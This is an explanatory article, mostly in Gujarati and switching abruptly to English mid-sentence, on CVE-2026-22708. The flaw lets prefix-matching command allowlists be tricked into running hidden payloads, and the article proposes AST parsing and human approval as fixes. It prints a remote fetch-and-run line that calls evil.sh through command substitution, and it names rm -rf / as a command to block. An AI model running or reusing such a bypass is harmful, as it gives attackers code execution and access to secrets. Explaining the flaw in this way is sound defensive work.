તાજેતરમાં જાહેર થયેલી એક નબળાઈ, CVE-2026-22708, દર્શાવે છે કે જે AI એજન્ટ્સ સાદી કમાન્ડ એલોલિસ્ટ (allowlists) પર આધાર રાખે છે, તેમને નુકસાનકારક કોડ ચલાવવા માટે છેતરી શકાય છે. આ ખામી હુમલાખોરને સામાન્ય દેખાતી કમાન્ડની અંદર પેલોડ છુપાવવાની મંજૂરી આપે છે, જે એજન્ટને હોસ્ટ પર સ્વૈચ્છિક સ્ક્રિપ્ટ્સ ચલાવવા માટે સીધો માર્ગ આપે છે.
ડેવલપમેન્ટ અથવા ઓપરેશન્સને ઓટોમેટ કરતા મોટાભાગના AI-સંચાલિત સહાયકો કમાન્ડના પ્રથમ શબ્દને વ્હાઇટલિસ્ટ સાથે સરખાવીને કામ કરે છે. જો શબ્દ git અથવા npm જેવી એન્ટ્રી સાથે મેળ ખાય છે, તો વિનંતી સીધી આગળ મોકલવામાં આવે છે. આ "prefix matching" આકર્ષક છે કારણ કે તેને અમલમાં મૂકવું સરળ છે અને તે એજન્ટને જોખમી યુટિલિટીઝ ચલાવતા અટકાવતું હોય તેવું લાગે છે.
વ્યવહારમાં આ અભિગમ સુરક્ષામાં એક છિદ્ર (security hole) છે. હુમલાખોર મંજૂર કરેલા શબ્દ પછી કમાન્ડ સબસ્ટિટ્યુશન અથવા અન્ય શેલ ફીચરને એમ્બેડ કરી શકે છે, અને વ્હાઇટલિસ્ટ તેને ક્યારેય જોઈ શકશે નહીં. એક ક્લાસિક ઉદાહરણ આ મુજબ છે:
git branch "$(curl evil.sh | sh)"
એલોલિસ્ટ ફક્ત git જુએ છે અને વિનંતીને મંજૂરી આપે છે. ત્યારબાદ શેલ $(curl evil.sh | sh) ને એક્સપાન્ડ કરે છે, એક સ્ક્રિપ્ટ ડાઉનલોડ કરે છે અને તેને એજન્ટના પ્રિવિલેજિસ સાથે ચલાવે છે. આ જ યુક્તિ કોઈપણ વ્હાઇટલિસ્ટ કરેલ બાઈનરી સાથે કામ કરે છે જે શેલ દ્વારા અર્થઘટન કરવામાં આવતા આર્ગ્યુમેન્ટ્સ સ્વીકારે છે.
તેની અસર ગંભીર છે કારણ કે AI એજન્ટોને વધુને વધુ પ્રિવિલેજ્ડ એન્વાયરમેન્ટ્સ—કન્ટીન્યુઅસ-ઇન્ટિગ્રેશન પાઇપલાઇન્સ, ક્લાઉડ-હોસ્ટેડ ડેવલપમેન્ટ કન્ટેનર્સ અને યુઝર વર્કસ્ટેશન્સ—ની જવાબદારી સોંપવામાં આવી રહી છે. જો કોઈ એજન્ટને પેલોડ ચલાવવા માટે લલચાવી શકાય, તો હુમલાખોર એ જ એક્સેસ અધિકારો મેળવે છે જે એજન્ટ પાસે હોય છે, જેમાં ઘણીવાર સિક્રેટ કીઝ, ડિપ્લોયમેન્ટ ક્રેડેન્શિયલ્સ અથવા અનરસ્ટ્રિક્ટેડ ફાઇલ સિસ્ટમ એક્સેસનો સમાવેશ થાય છે.
સાદી એલોલિસ્ટ કેમ નિષ્ફળ જાય છે
- સ્ટ્રિંગ મેચિંગ, પોલિસી નહીં – ફક્ત પ્રથમ ટોકન તપાસવાથી કમાન્ડ લાઇનનું માળખું અવગણવામાં આવે છે. તે આર્ગ્યુમેન્ટ્સનું અર્થઘટન કેવી રીતે થાય છે અથવા તેમાં શેલ મેટાકેરેક્ટર્સ છે કે નહીં તે ધ્યાનમાં લેતું નથી.
- શેલ ફીચર્સ શક્તિશાળી છે – સબસ્ટિટ્યુશન, પાઇપલાઇન્સ અને રિડાયરેક્શન એ બધું એલોલિસ્ટ ચેક પછી પ્રોસેસ થાય છે, જે એક નિર્દોષ દેખાતી કમાન્ડને સંપૂર્ણ એક્સપ્લોઇટમાં ફેરવી નાખે છે.
- કોન્ટેક્સ્ટ અવેરનેસનો અભાવ – વ્હાઇટલિસ્ટ સુરક્ષિત
git statusઅને જોખમીgit push --forceવચ્ચે તફાવત કરી શકતું નથી, જે પ્રોડક્શન હિસ્ટ્રીને ઓવરરાઈટ કરી શકે છે.
વધુ મજબૂત મોડેલ
CVE-2026-22708 માટે સમુદાયનો પ્રતિસાદ એ છે કે નાઈવ સ્ટ્રિંગ ચેક્સથી આગળ વધીને કમાન્ડ્સને એબ્સ્ટ્રેક્ટ સિન્ટેક્સ ટ્રી (AST) માં પાર્સ કરવા જોઈએ. AST કમાન્ડના પદાનુક્રમિક માળખાનું પ્રતિનિધિત્વ કરે છે, જે એક્ઝિક્યુટેબલને તેના આર્ગ્યુમેન્ટ્સ અને કોઈપણ શેલ કન્સ્ટ્રક્ટ્સથી અલગ કરે છે. એકવાર કમાન્ડનું વિભાજન થઈ જાય પછી, પોલિસી એન્જિન તેને ત્રણ અલગ-અલગ શ્રેણીઓ સામે મૂલ્યાંકન કરી શકે છે:
- SAFE – કમાન્ડ્સ જે ચકાસાયેલ નિયમો સાથે મેળ ખાય છે અને તેમાં કોઈ જોખમી કન્સ્ટ્રક્ટ્સ નથી. એજન્ટ આને આપમેળે ચલાવે છે. ઉદાહરણ:
git status. - BLOCKED – કમાન્ડ્સ જે જોખમી તરીકે જાણીતા પેટર્ન સાથે મેળ ખાય છે, જેમ કે જે સિક્રેટ ફાઇલોને એક્સેસ કરે છે, ડિરેક્ટરી ડિલીટ કરે છે અથવા પ્રિવિલેજ્ડ સ્ક્રિપ્ટ્સને ઇનવોક કરે છે. એજન્ટ આને તરત જ અટકાવી દે છે. ઉદાહરણ:
rm -rf /. - UNCERTAIN – કમાન્ડ્સ જે સુરક્ષિત અથવા અટકાવેલ એમ કોઈ પણ શ્રેણીમાં સ્પષ્ટ રીતે બંધ બેસતા નથી. આગળ વધતા પહેલા એજન્ટ માટે માનવીય મંજૂરી લેવી આવશ્યક છે. ઉદાહરણ:
git push --force.
UNCERTAIN સ્તરની રજૂઆત થ્રેટ મોડેલને બદલી નાખે છે. દરેક અજાણી કમાન્ડને નિષ્ફળતા તરીકે ગણવાને બદલે, સિસ્ટમ અનિશ્ચિતતાને નિયંત્રિત ઇન્ટરેક્શનમાં ફેરવે છે. મંજૂરીના સ્ટેપને લાગુ કરવાનો એક વ્યવહારુ રસ્તો સિંગલ-યુઝ HMAC ટોકન ઇશ્યૂ કરવાનો છે જે યુઝરે એજન્ટને પાછું આપવું પડે છે. કારણ કે ટોકન વિનંતી સાથે ક્રિપ્ટોગ્રાફિકલી જોડાયેલું હોય છે, તેથી એજન્ટ સંમતિની બનાવટ કરી શકતો નથી.
સુરક્ષા અને ઉપયોગિતા વચ્ચે સંતુલન
ટીકાકારો દલીલ કરી શકે છે કે AST પાર્સિંગ લેટન્સી વધારે છે અથવા થ્રી-ટાયર મોડેલ યુઝર્સને મંજૂરીના પ્રોમ્પ્ટ્સથી ભરી શકે છે, જેનાથી ઉત્પાદકતા ઘટે છે. તે ચિંતાઓ વ્યાજબી છે: નબળી રીતે ટ્યુન કરેલ નિયમોનો સેટ ખોટા પોઝિટિવ્સ (false positives) પેદા કરી શકે છે, અને જટિલ પાર્સિંગ સાદા સ્ટ્રિંગ ચેક કરતા કમ્પ્યુટેશનલ રીતે ભારે હોઈ શકે છે. જોકે, વિકલ્પ—સ્વૈચ્છિક કોડ એક્ઝિક્યુશનની મંજૂરી આપવી—તે ઘણું વધારે ખર્ચાળ છે. હાઇબ્રિડ અભિગમો જે લાઈટવેઇટ સેન્ડબોક્સિંગને AST વિશ્લેષણ સાથે જોડે છે તે મજબૂત પોલિસી લાગુ કરતી વખતે પર્ફોર્મન્સ પર અસર ઘટાડી શકે છે.
ડેવલપર્સ અને એન્ટરપ્રાઇઝ માટે શું જોખમ છે
- ડેટા ગોપનીયતા – એક સાથે થયેલ એજન્ટ API કીઝ, પાસવર્ડ્સ અને પ્રોપ્રાઇટરી કોડ ચોરી કરી શકે છે.
- સિસ્ટમ ઇન્ટિગ્રિટી – નુકસાનકારક કમાન્ડ્સ પ્રોડક્શન આર્ટિફેક્ટ્સમાં ફેરફાર કરી શકે છે અથવા તેને ડિલીટ કરી શકે છે, રિલીઝને રોલ બેક કરી શકે છે અથવા બે
Projects that ignore these risks often either cripple the agent with over-restrictive rules or leave it open to exploitation. The middle ground—defining clear SAFE, BLOCKED, and UNCERTAIN groups—provides a practical path to both security and usefulness.
What to watch next
- Tooling – Expect open-source libraries that expose AST-based parsers for common shells and build pipelines, along with ready-made policy templates.
- Standards – Industry groups may propose baseline rule sets for typical development commands, similar to how container runtimes standardized seccomp profiles.
- Audits – Security teams will likely add “allowlist sanity checks” to their CI/CD audit pipelines, flagging any agent configuration that relies solely on prefix matching.
Takeaway
If your AI agent still decides what to run by looking only at the first word of a command, it is exposed to the vulnerability demonstrated in CVE-2026-22708. Replace that approach with AST-driven parsing and a three-tier policy that forces human confirmation for ambiguous actions. The extra step may feel like friction, but it turns a blind spot into a verifiable control point, protecting both your code and your infrastructure.
